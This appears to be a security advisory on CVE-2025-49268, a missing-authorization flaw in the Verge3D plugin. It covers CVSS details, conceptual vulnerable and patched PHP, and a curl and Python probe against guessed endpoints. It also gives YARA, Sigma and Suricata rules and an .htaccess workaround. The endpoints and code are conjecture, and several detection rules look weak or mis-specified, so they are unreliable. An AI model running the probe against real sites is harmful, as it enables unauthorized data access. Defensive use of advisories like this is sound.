CVE-2025-49268

Executive Summary

CVE-2025-49268 is a Missing Authorization vulnerability in the Verge3D plugin by Soft8Soft LLC, affecting versions from n/a through 4.9.4. This flaw allows an attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive data or functionality. The vulnerability has a CVSS score of 5.3 (Medium), with a low attack complexity and no required privileges or user interaction. As of the latest intelligence, no public exploit code or patch is available, and the EPSS score is 0.0%, indicating a low probability of active exploitation in the wild.

Supply Chain & Package Security

Verge3D is a commercial plugin for 3D web applications, often integrated into WordPress or other CMS platforms. The missing authorization flaw could allow attackers to bypass access controls, potentially exposing sensitive 3D assets, user data, or administrative functions. Since no patch is available, organizations using Verge3D should consider it a supply chain risk and monitor for updates from Soft8Soft.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is exploitable remotely without authentication, but the impact is limited to low confidentiality loss. However, in the context of a 3D web application, this could expose proprietary 3D models or user data.

Deep Dive & Mechanics

The vulnerability stems from Missing Authorization (CWE-862) in Verge3D's access control implementation. The plugin fails to properly validate user permissions when accessing certain endpoints or resources, allowing unauthenticated attackers to bypass security checks. This is likely due to incorrect configuration of access control security levels, as described in the CVE.

Attack Vector:

• An attacker sends crafted HTTP requests to Verge3D endpoints that should require authentication or specific roles.
• The plugin does not enforce authorization checks, allowing the attacker to access protected resources (e.g., 3D scene files, user data, or admin panels).

Root Cause:

• The vulnerability exists in the plugin's authorization logic, likely in functions that handle API requests or page rendering. The code may rely on client-side checks or improperly configured server-side checks.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, based on the CWE, the vulnerable code likely lacks proper authorization checks:

Vulnerable Code (Conceptual):

// No authorization check before serving protected content
function verge3d_get_scene($scene_id) {
    $scene = get_scene_from_db($scene_id);
    echo json_encode($scene);
}

Patched Code (Expected):

function verge3d_get_scene($scene_id) {
    if (!current_user_can('edit_verge3d_scenes')) {
        wp_die('Unauthorized', 403);
    }
    $scene = get_scene_from_db($scene_id);
    echo json_encode($scene);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Verge3D <= 4.9.4
• Network access to the target

Exploitation Steps:

1. Identify Verge3D endpoints (e.g., /wp-json/verge3d/v1/scenes, /verge3d/scene/).
2. Send a GET request to a protected endpoint without authentication:

   curl -X GET http://target.com/wp-json/verge3d/v1/scenes/1
   

3. If the response returns sensitive data (e.g., 3D scene JSON), the vulnerability is confirmed.

Proof of Concept (No public exploit available):

import requests

target = "http://target.com/wp-json/verge3d/v1/scenes/1"
response = requests.get(target)
if response.status_code == 200:
    print("Vulnerable: Unauthorized access to scene data")
    print(response.text)
else:
    print("Not vulnerable or patched")

Blue Team (Detection & Defense)

Detection:

• Monitor for unauthorized access attempts to Verge3D API endpoints.
• Look for HTTP 200 responses to requests without authentication tokens.

Defense:

• Implement Web Application Firewall (WAF) rules to block requests to Verge3D endpoints without proper headers.
• Restrict access to Verge3D resources via .htaccess or server configuration.
• Monitor logs for unusual access patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-json/verge3d/v1/ or /verge3d/ without authentication.
  • Unusual IP addresses accessing Verge3D endpoints.
• File IOCs:
  • Unexpected access to Verge3D scene files (e.g., .glb, .json).
• Log IOCs:
  • Repeated 200 responses to protected endpoints without prior authentication.

Detection Engineering

YARA Rule

rule CVE_2025_49268_Verge3D_Missing_Auth {
    meta:
        description = "Detects missing authorization in Verge3D plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49268"
    strings:
        $s1 = "verge3d" nocase
        $s2 = "scene" nocase
        $s3 = "wp-json" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-49268 - Verge3D Missing Authorization
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized access attempts to Verge3D endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "/wp-json/verge3d/"
            - "/verge3d/"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate authenticated users
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-49268 - Verge3D Missing Authorization Attempt";
    flow:to_server,established;
    content:"/wp-json/verge3d/"; http_uri;
    content:"/verge3d/"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Verge3D if not critical to operations until a patch is released.
2. Implement access controls at the web server level (e.g., IP whitelisting, basic auth).
3. Monitor for unauthorized access attempts using the provided detection rules.

Long-term Fix:

• Apply the official patch from Soft8Soft when released.
• Update to the latest version of Verge3D once patched.
• Review and harden access control configurations.

Workarounds:

• Use a WAF to block unauthenticated requests to Verge3D endpoints.
• Modify .htaccess to require authentication:

  <IfModule mod_rewrite.c>
      RewriteRule ^wp-json/verge3d/ - [F]
  </IfModule>
  

Valters IT
DevSecOps & Cyber Threat Intelligence